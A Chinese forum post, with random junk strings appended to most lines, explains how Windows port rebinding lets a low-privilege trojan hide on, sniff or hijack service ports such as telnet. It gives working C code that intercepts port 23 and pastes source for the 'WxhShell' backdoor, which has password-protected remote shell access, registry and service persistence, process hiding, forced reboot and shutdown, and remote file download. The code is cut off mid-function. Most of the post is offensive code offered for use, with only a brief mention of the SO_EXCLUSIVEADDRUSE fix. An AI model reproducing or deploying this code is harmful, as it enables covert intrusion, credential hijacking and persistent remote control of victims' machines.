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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {KEmGHC4R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v|]"uPxH?  
a gL@A  
  saddr.sin_family = AF_INET; Ja/  
,TB$D]u8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (q}Li rR  
.XkVdaX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q68m*1?y  
QJjk#*?,|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4)'U!jSb  
%S$$*|_G  
  这意味着什么?意味着可以进行如下的攻击: p_EM/jI,  
M&Ln'BC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n:1Ijh 1  
e VQ-?DK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }*qj,8-9  
pDvznpQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AA=eWg  
Y"m(hs $  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  91q  
HGd.meQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0plX"NU  
[9MbNJt 8~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fl2XI=[v4  
\W= qqE]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^kz(/c/?  
/s=veiH  
  #include H?xY S| n  
  #include $P%cdJT0  
  #include "QiLu=Rq  
  #include    yTZ o4c "  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )c'E9ZuZ>d  
  int main() h8(>$A-  
  { b(Tvc  
  WORD wVersionRequested; a }*i [  
  DWORD ret; `ZI-1&Y3  
  WSADATA wsaData; '\xE56v)F  
  BOOL val; .5}Gt>4XM  
  SOCKADDR_IN saddr; /S1/ZI  
  SOCKADDR_IN scaddr; ^m&P0  
  int err; f% )9!qeW  
  SOCKET s; v:yU+s|kN  
  SOCKET sc; dIYf}7P  
  int caddsize; _6ck@  
  HANDLE mt; q#8yU\J|,  
  DWORD tid;   _N^w5EBC]  
  wVersionRequested = MAKEWORD( 2, 2 ); bE'{zU}o  
  err = WSAStartup( wVersionRequested, &wsaData ); 0gaHYqkA>}  
  if ( err != 0 ) { yGAFQ|+  
  printf("error!WSAStartup failed!\n"); ^7YNM<_%@  
  return -1; gD4vV'|  
  } mTxqcQc:7  
  saddr.sin_family = AF_INET; uW=G1 *n-  
   ] S[?tn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /w(g:e  
"NGfT:HV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wL="p) TO.  
  saddr.sin_port = htons(23); Y<irNp9   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >Bf3X&uS  
  { yV\%K6d|3&  
  printf("error!socket failed!\n"); /o'lGvw  
  return -1; %'2.9dB  
  } xUsL{24  
  val = TRUE; 62zu;p9m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QRf>lZP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AguE)I&m  
  { 6WG g_x?3  
  printf("error!setsockopt failed!\n"); P@vUQ  
  return -1; /r"<:+  
  } 2[qfF6FHA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \WE&5 9G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -8Mb~Hfl0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ue >]uZ|  
ka\{?:r,8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7)r]h?  
  { kF~(B]W(  
  ret=GetLastError(); Z6i~Dy3  
  printf("error!bind failed!\n"); PD.$a-t  
  return -1; S, AxrQc  
  } [B)!  
  listen(s,2); 5 k3m"*  
  while(1) /u4RZ|&as  
  { C`g "Mk8  
  caddsize = sizeof(scaddr); 3rH}/`d4  
  //接受连接请求 @GQfBV|3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Si?s69  
  if(sc!=INVALID_SOCKET) `M6"=)twu  
  { l X+~;94  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S1U0sP@o  
  if(mt==NULL) ^py=]7[I  
  { rBTg"^jsw  
  printf("Thread Creat Failed!\n"); {jB> ]7  
  break; T3{~f  
  } *gwaW!=  
  } $Lj ]NtO  
  CloseHandle(mt); {KHI(*r;  
  } D@La-K*5  
  closesocket(s); gttsxOgktH  
  WSACleanup(); `6VnL)  
  return 0; <5E'`T  
  }   "?zWCH  
  DWORD WINAPI ClientThread(LPVOID lpParam) M^'1Q.K  
  { ]!AS%D`  
  SOCKET ss = (SOCKET)lpParam; )<V!lsUx'-  
  SOCKET sc; Nx.9)MjI  
  unsigned char buf[4096]; J`5+Zngr  
  SOCKADDR_IN saddr; DD=X{{;D\"  
  long num; 1TQ?Fxj  
  DWORD val; }oZ8esZU2  
  DWORD ret; F)cCaE;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X&zGgP/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vE )N6Ss  
  saddr.sin_family = AF_INET; Hes!uy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x >ah,  
  saddr.sin_port = htons(23); q#3T L<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xH2'PEjFM  
  { L!xFhVA<  
  printf("error!socket failed!\n"); #tKks:eL  
  return -1; ,Sgo_bC/|  
  } 7#C$}1XJ1  
  val = 100; :-d#kU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vy~6]hH  
  { TQO|C?  
  ret = GetLastError(); >!1] G"U  
  return -1; m~Pk ]~j  
  } 4|_xz; i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^4`x:6m  
  { '|]}f}Go  
  ret = GetLastError(); P-ZvW<M  
  return -1; }K 'A/]'  
  }  ="]r{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) liYsUmjZ=  
  { GImPPF  
  printf("error!socket connect failed!\n"); f.J^HQ_  
  closesocket(sc); sBZn0h@  
  closesocket(ss); Kv* 1=HES  
  return -1; =b$g_+  
  } )*}\fmOv{  
  while(1) 5P <"I["  
  { h:bx0:O"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ti GH#~?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H%m^8yW1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :a Cf@:']  
  num = recv(ss,buf,4096,0);  Fw[1Aa#  
  if(num>0) fASklcQ  
  send(sc,buf,num,0); ^e^-1s  S  
  else if(num==0) t'Yd+FK   
  break; 5(#z)T  
  num = recv(sc,buf,4096,0); w;@v#<q6  
  if(num>0) P\ P=1NM  
  send(ss,buf,num,0); ds(X[7XGW  
  else if(num==0) sB:e:PK  
  break; R5b,/>^'A  
  } 1 sza\pR<  
  closesocket(ss); r^.9 |YM5  
  closesocket(sc);  ^4WZ%J#g  
  return 0 ; Ke^/aGi}O  
  } R{brf6,  
^Vth;!o  
/b{@']  
========================================================== nZj&Ma7R  
Kc] GE#~g  
下边附上一个代码,,WXhSHELL 0KExB{K  
_@\-`>J  
========================================================== evEdFY  
*9KT@"v  
#include "stdafx.h" W{JR%Sq$  
oSYJXs  
#include <stdio.h> @QJPcF"  
#include <string.h> ax _v+v %  
#include <windows.h> 'GW~~UhdW  
#include <winsock2.h> Xl$r720ZJr  
#include <winsvc.h> ow (YgM>t  
#include <urlmon.h> (Z@- e^R  
: [?7,/w  
#pragma comment (lib, "Ws2_32.lib") s#8}&2#l  
#pragma comment (lib, "urlmon.lib")  [Ketg  
#?M[Q:  
#define MAX_USER   100 // 最大客户端连接数 N["M "s(N  
#define BUF_SOCK   200 // sock buffer l;z+E_sQ  
#define KEY_BUFF   255 // 输入 buffer ,UVd+rY}  
{IB4%,qT  
#define REBOOT     0   // 重启 \ Ho VS  
#define SHUTDOWN   1   // 关机 pTQ7woj}  
&_QD1 TT  
#define DEF_PORT   5000 // 监听端口 0^P9)<k'  
Ey&A\  
#define REG_LEN     16   // 注册表键长度 o 8^!wGY  
#define SVC_LEN     80   // NT服务名长度 H5FWk  
R=NK3iGTf  
// 从dll定义API 4[r:DM|8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !9C]Fs*`?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #)DDQ?D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ] C_$zbmi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e oFM  
OJ\j6owA  
// wxhshell配置信息 @MH/e fW.  
struct WSCFG { }z-)!8vF  
  int ws_port;         // 监听端口 @!\lt$  
  char ws_passstr[REG_LEN]; // 口令 Em<J{`k6  
  int ws_autoins;       // 安装标记, 1=yes 0=no L@ N\8mf  
  char ws_regname[REG_LEN]; // 注册表键名 &C/,~pJ1S  
  char ws_svcname[REG_LEN]; // 服务名 rj eKG-Z@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _rUsb4r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AIQ]lQ(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hG/Z65`&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w\a9A#v,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ga"<qmLMc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U,2\ TBz  
#0M,g  
}; w`Z@|A  
wdgC{W Gl  
// default Wxhshell configuration "OKsl2e  
struct WSCFG wscfg={DEF_PORT, %X\rP,  
    "xuhuanlingzhe", ~o/e0  
    1, ByXcs'  
    "Wxhshell",  7w|4BRL  
    "Wxhshell", z:tu_5w!,  
            "WxhShell Service", "j+=py`  
    "Wrsky Windows CmdShell Service", VV~Kgy  
    "Please Input Your Password: ", 6EX8,4c\  
  1, ]?2&d[  
  "http://www.wrsky.com/wxhshell.exe", S$fCO$bU  
  "Wxhshell.exe" DvXbbhp  
    }; [hXU$Y>"0  
|FD-q.AV  
// 消息定义模块 @7B!(Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g~=#8nJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rsvGf7C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9k!#5_ M  
char *msg_ws_ext="\n\rExit."; ?IV3"\5  
char *msg_ws_end="\n\rQuit."; 9G}Crp  
char *msg_ws_boot="\n\rReboot..."; M&O .7B1}  
char *msg_ws_poff="\n\rShutdown..."; JS1''^G&.  
char *msg_ws_down="\n\rSave to "; oBTRO0.s+  
e?~6HP^%.  
char *msg_ws_err="\n\rErr!"; '=vD!6=0@  
char *msg_ws_ok="\n\rOK!"; |Gh~Zu p  
hGvuA9d~  
char ExeFile[MAX_PATH]; Y)4&PN~[  
int nUser = 0; ^cF_z}Zi+  
HANDLE handles[MAX_USER]; w;Na9tR  
int OsIsNt; Obu>xK(  
qS|t7*  
SERVICE_STATUS       serviceStatus; 5*pCb,z>q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YTpO4bX  
gaw/3@  
// 函数声明 M7;P)da  
int Install(void); f#UT~/~bL2  
int Uninstall(void); J@c)SK%2h  
int DownloadFile(char *sURL, SOCKET wsh); Cuq=>J  
int Boot(int flag); ;  u0 MY  
void HideProc(void); A/EW57v"  
int GetOsVer(void); )xuvY3BPB?  
int Wxhshell(SOCKET wsl); _"B5S?  
void TalkWithClient(void *cs); Zi fAn  
int CmdShell(SOCKET sock); ?_9A`LC*  
int StartFromService(void); 4c*?9r@  
int StartWxhshell(LPSTR lpCmdLine); 257pO9]  
2\M^ _x$N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >>voLDDd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j\D_Z{m2  
9a5x~Z:'  
// 数据结构和表定义 O!(M:.  
SERVICE_TABLE_ENTRY DispatchTable[] = 4jl UyAD  
{ $Aw"?&d"  
{wscfg.ws_svcname, NTServiceMain}, rn7eY  
{NULL, NULL} ,=tPh4>  
}; kqfO3{-;{:  
<T[ wZ[l  
// 自我安装 c-L1 Bkw  
int Install(void) Uv~r]P)  
{ oZkjg3  
  char svExeFile[MAX_PATH]; lU0'5!3R,  
  HKEY key; \s8j*  
  strcpy(svExeFile,ExeFile); )B86  
+pcpb)VL  
// 如果是win9x系统,修改注册表设为自启动 ?H\K];  
if(!OsIsNt) { VFj}{Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k[0Gz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oz(V a!  
  RegCloseKey(key); v"VpE`z1#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 82.::J'e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [%M=nJ{8  
  RegCloseKey(key); f D<9k  
  return 0; 5G"DgG*<  
    } owDp?Sy}E  
  } n 7Mab  
} gJEm  
else { kQ5mIJ9(  
PT7-_r  
// 如果是NT以上系统,安装为系统服务 y3^<rff3Gc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :C*7 DS  
if (schSCManager!=0) 'O%itCy)  
{ KTr7z^  
  SC_HANDLE schService = CreateService +yvtd]D$2W  
  ( >?/Pl"{b  
  schSCManager, 1 !N+hf  
  wscfg.ws_svcname, I d6H~;  
  wscfg.ws_svcdisp, hXBAs*4DV8  
  SERVICE_ALL_ACCESS, V*X6 <}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [Yr }:B <  
  SERVICE_AUTO_START, ~:`5Y"Av:  
  SERVICE_ERROR_NORMAL, } + ]A?'&  
  svExeFile, cR'l\iv+  
  NULL, pZo:\n5o  
  NULL, ]_!5g3VQh  
  NULL, e[<vVe!  
  NULL, T?vM\o%i3  
  NULL [Dr'  
  ); g=)B+SY'  
  if (schService!=0) b`a4SfbQS  
  { #0HZ"n  
  CloseServiceHandle(schService); t1Ty.F)r  
  CloseServiceHandle(schSCManager); -;NGS )RM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Iw)}YZmn  
  strcat(svExeFile,wscfg.ws_svcname); %.k~L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X:N`x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~quof>  
  RegCloseKey(key); f4%Z~3P  
  return 0; z$64Ep#  
    } Y~E 8z  
  } S2y_5XJ<D  
  CloseServiceHandle(schSCManager); C K#^`w  
} bwrM%BL  
} %y96]e1  
|ry![\  
return 1; rra|}l4Y  
} Dq07Z^#'  
,> Ya%;h2k  
// 自我卸载 wh Hp}r  
int Uninstall(void) >m:;. vVY  
{ [ TX1\*W  
  HKEY key; W;Y"J_  
ke2zxX2 f  
if(!OsIsNt) { ,xSNTOJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7%j1=V/  
  RegDeleteValue(key,wscfg.ws_regname); @\*`rl]  
  RegCloseKey(key); ;AH8/M B9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > J.q3  
  RegDeleteValue(key,wscfg.ws_regname); plNoI1st  
  RegCloseKey(key); %I^schE*  
  return 0; 7MbV|gM}  
  } L`2(u!i J  
} ;B^ 9sr  
} C.|.0^5  
else { O*SJx.  
V7 OhOLK8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "lV bla4b  
if (schSCManager!=0) MZrLLnl6\  
{ QBYY1)6S,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >sm~te$5  
  if (schService!=0) a S;z YD  
  { 1b=,lm  
  if(DeleteService(schService)!=0) { >rhqhmh;W"  
  CloseServiceHandle(schService); w#d7  
  CloseServiceHandle(schSCManager); $6l^::U  
  return 0; oA*88c+{f  
  } &q7}HO/ @  
  CloseServiceHandle(schService); pP-L{bT  
  } SgWLs%B  
  CloseServiceHandle(schSCManager);  .: Zw6  
} 3^Q;On|  
} 3,"G!0 y.  
w-"tA`F4  
return 1; FrsXLUY  
} LVaJyI@/>  
F2>W{-H+  
// 从指定url下载文件 Wh)>E!~ 9  
int DownloadFile(char *sURL, SOCKET wsh) *L&|4|BF2  
{ *kt|CXxAS8  
  HRESULT hr; "]bOpk T  
char seps[]= "/"; `l'Ine 11  
char *token; 7\AoMk}  
char *file; jL{k!V`s  
char myURL[MAX_PATH]; ~}_S]^br  
char myFILE[MAX_PATH]; J 1R5_b  
y&A&d-  
strcpy(myURL,sURL); 6`@6k2]  
  token=strtok(myURL,seps); 7/HX!y{WP  
  while(token!=NULL) % kaV ?j  
  { nKmf#  
    file=token; qL?$u07<9'  
  token=strtok(NULL,seps); Y%!k'\n[2  
  } b5#Jo2C`AJ  
%KPQ|^WE  
GetCurrentDirectory(MAX_PATH,myFILE); ~J0r%P  
strcat(myFILE, "\\"); ;v!Ef"E|cV  
strcat(myFILE, file); :(K JLa]  
  send(wsh,myFILE,strlen(myFILE),0); gSHN,8. `  
send(wsh,"...",3,0);  e**5_L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _4 YT2k  
  if(hr==S_OK) u"F{cA!B  
return 0; Uuktq)NU  
else Rl (+TE  
return 1; Of-8n-  
Y=/;7T  
} ~lbm^S}-  
x=N0H  
// 系统电源模块 KvjH\;78  
int Boot(int flag) ;)vs=DK:)  
{ 55Xfu/hQ  
  HANDLE hToken; U^Iq]L  
  TOKEN_PRIVILEGES tkp; {>3w"(f7o  
zpy&\#Vc  
  if(OsIsNt) { !>fi3#Fi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JHuA}f{2&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M8VsU*aU  
    tkp.PrivilegeCount = 1; <!-#]6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /S9n!H:MT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =%{E^z>1  
if(flag==REBOOT) { {DX1/49  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,w,)n^  
  return 0; 9LUk[V  
} -AXMT3p=1  
else { p]6/1&t="  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BQ {'r^u  
  return 0; DCgiTT\  
} 6W'2w?qj?4  
  } N8Un42  
  else { _<jccQ  
if(flag==REBOOT) { 3ZqtIQY`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wEEFpn_   
  return 0; zU# OjvNk  
} o2^?D`Jr  
else { nVk]Qe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 30h1)nQ$h}  
  return 0; ScC!?rTW~7  
} =@k 3*#\  
} Rp.FG   
w&}UgtEm  
return 1; a;0$fRy  
} #~[mn_C  
5O"wPsl  
// win9x进程隐藏模块 (<#Ns W!z  
void HideProc(void) pl.=u0 *  
{ C5oIl_t  
|y2cI,&   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;%PdSG=U  
  if ( hKernel != NULL ) @_Ly^' "  
  { z(beT e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,lw<dB@7"5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mQt?d?6  
    FreeLibrary(hKernel); <*&2b  
  } 0}aw9g  
!_[^%7"S1  
return; |y7#D9m  
} "zN]gz=OV>  
QX 393v!  
// 获取操作系统版本 >5-]Ur~  
int GetOsVer(void) O:G-I$F|  
{ <S M%M?  
  OSVERSIONINFO winfo; Yim`3>#t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g,cl|]/\d  
  GetVersionEx(&winfo); y'pX/5R0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B\Y !5$  
  return 1; M kadl<  
  else *G0r4Ui$  
  return 0; SwPc<Z?P  
} Qws#v}xF  
ni x1_Wo;  
// 客户端句柄模块 awa$o  
int Wxhshell(SOCKET wsl) (s.S n(E  
{ % z:;t  
  SOCKET wsh; .%EEly  
  struct sockaddr_in client; gT6@0ANq  
  DWORD myID; c/E6}OWA  
APR%ZpG  
  while(nUser<MAX_USER) D2}nJFR ]  
{ h47l;`kD-#  
  int nSize=sizeof(client); x?|   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L3- tD67oa  
  if(wsh==INVALID_SOCKET) return 1; ~V4&l3o  
29=L7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8"g.Z*  
if(handles[nUser]==0) K r&HT,>B  
  closesocket(wsh); 3QrYH @7zx  
else Q!VPk~~(  
  nUser++; TBYRY)~f  
  } VJeN m3WNb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >2l;KVm%  
O2Mo ~}  
  return 0; *:}NS8hP  
} ]l'W=_XDg  
<j.bG 7  
// 关闭 socket j5:{H4?  
void CloseIt(SOCKET wsh) Dyj5a($9"{  
{ f9g#pyH4  
closesocket(wsh); @M-+-6+  
nUser--; ^.J F?2T/  
ExitThread(0); ?Q]{d'g(sx  
} y3K9rf  
1v4(  
// 客户端请求句柄 8 ]N+V:  
void TalkWithClient(void *cs) \@4_l?M  
{ <"@~  
\gL H_$}  
  SOCKET wsh=(SOCKET)cs; @hiwq 7[j  
  char pwd[SVC_LEN]; hb"t8_--c  
  char cmd[KEY_BUFF]; )BY\c7SG  
char chr[1]; 5xi f0h-`  
int i,j; Fr)G h>  
XnQo0 R.PW  
  while (nUser < MAX_USER) { bO: Ei  
#"a?3!wr  
if(wscfg.ws_passstr) { vvLm9Tw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9psX"*s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5[M?O4mi  
  //ZeroMemory(pwd,KEY_BUFF); .Mw'P\GtM  
      i=0; >yn%.Uoh@  
  while(i<SVC_LEN) {  )>Oip  
@#}9?>UV  
  // 设置超时 !p1OBS|  
  fd_set FdRead; A}sb 2P  
  struct timeval TimeOut; #{GUu ',?&  
  FD_ZERO(&FdRead); |*7uF<ink6  
  FD_SET(wsh,&FdRead); nv(Pwb3B  
  TimeOut.tv_sec=8; LF0gy3  
  TimeOut.tv_usec=0; Mu18s}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'N],d&fu^^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YZf<S:  
REhXW_x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); viAvD6e  
  pwd=chr[0]; +}X?+Epm  
  if(chr[0]==0xd || chr[0]==0xa) { >>wb yj8  
  pwd=0; _n2PoE:5@P  
  break; I~MBR2$9  
  } \0Zm3[  
  i++; R)t"`'6|  
    } kqSCKY1  
Nm#VA.~  
  // 如果是非法用户,关闭 socket \w^iSK-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }#q9>gx  
} : KZI+  
q~r )B}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UKQ ,]VC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bc5+}&W  
r~u/M0h `  
while(1) { (80]xLEBL  
J& +s  
  ZeroMemory(cmd,KEY_BUFF); e6k}-<W*q  
rOB-2@-  
      // 自动支持客户端 telnet标准   (zBa2Vmmv  
  j=0; RM-| ?%  
  while(j<KEY_BUFF) { Rs{L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x'; 6  
  cmd[j]=chr[0]; ,y3o ,gl  
  if(chr[0]==0xa || chr[0]==0xd) { T%KZV/  
  cmd[j]=0; 6t TLyI$+  
  break; "4H&wHhT!  
  } ._-^ 58[  
  j++; &m`1lxT  
    } 1a| q&L`o  
z*l3O~mZ  
  // 下载文件 ]o_Z3xXUa  
  if(strstr(cmd,"http://")) { 85m[^WGyh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6~0S%Hz   
  if(DownloadFile(cmd,wsh)) HW"|Hm$Y(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D.j'n-yw  
  else "Q A#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m7^aa@^m  
  } WHqp7NPl  
  else { G7pj.rQ  
wZh&w<l'  
    switch(cmd[0]) { r{$ip"f  
  @ _U]U  
  // 帮助  3@J0-w  
  case '?': { c\-5vw||b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0V"r$7(}  
    break; Av^{$9yl  
  } 4Ucg<Z&%  
  // 安装 Ji :2P*  
  case 'i': { IwKhun  
    if(Install()) tjBs>w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rBkLwJ]  
    else KIC5U50J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y]P'; C_eP  
    break;  VljAAt  
    } bA@!0,m  
  // 卸载 BdG~y1%:  
  case 'r': { ,icgne1j  
    if(Uninstall()) _Buwz_[&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :`2<SF^0O  
    else 9s6@AJf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2xhwi.u  
    break; 2BXpk^d5y  
    } 6B)(kPW  
  // 显示 wxhshell 所在路径 L$cNxz0$  
  case 'p': { ^&zwO7cS  
    char svExeFile[MAX_PATH]; `ky< *  
    strcpy(svExeFile,"\n\r"); L)a8W   
      strcat(svExeFile,ExeFile); K19/M1~  
        send(wsh,svExeFile,strlen(svExeFile),0); nW3-)Q89  
    break; KiT>W~  
    } .9 mwRYgD  
  // 重启 ,=O`'l >K  
  case 'b': {  iE=Yh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O%H_._#N`  
    if(Boot(REBOOT)) %%`Nq&'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <{bQl L  
    else { QM2Y?."#  
    closesocket(wsh); "XT7;!  
    ExitThread(0); l Q]&:%^\  
    } = I,O+^  
    break; iZ<^p1i  
    } XAW$"^p  
  // 关机 onRxe\?D(  
  case 'd': { dqnH7okZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &PaqqU.  
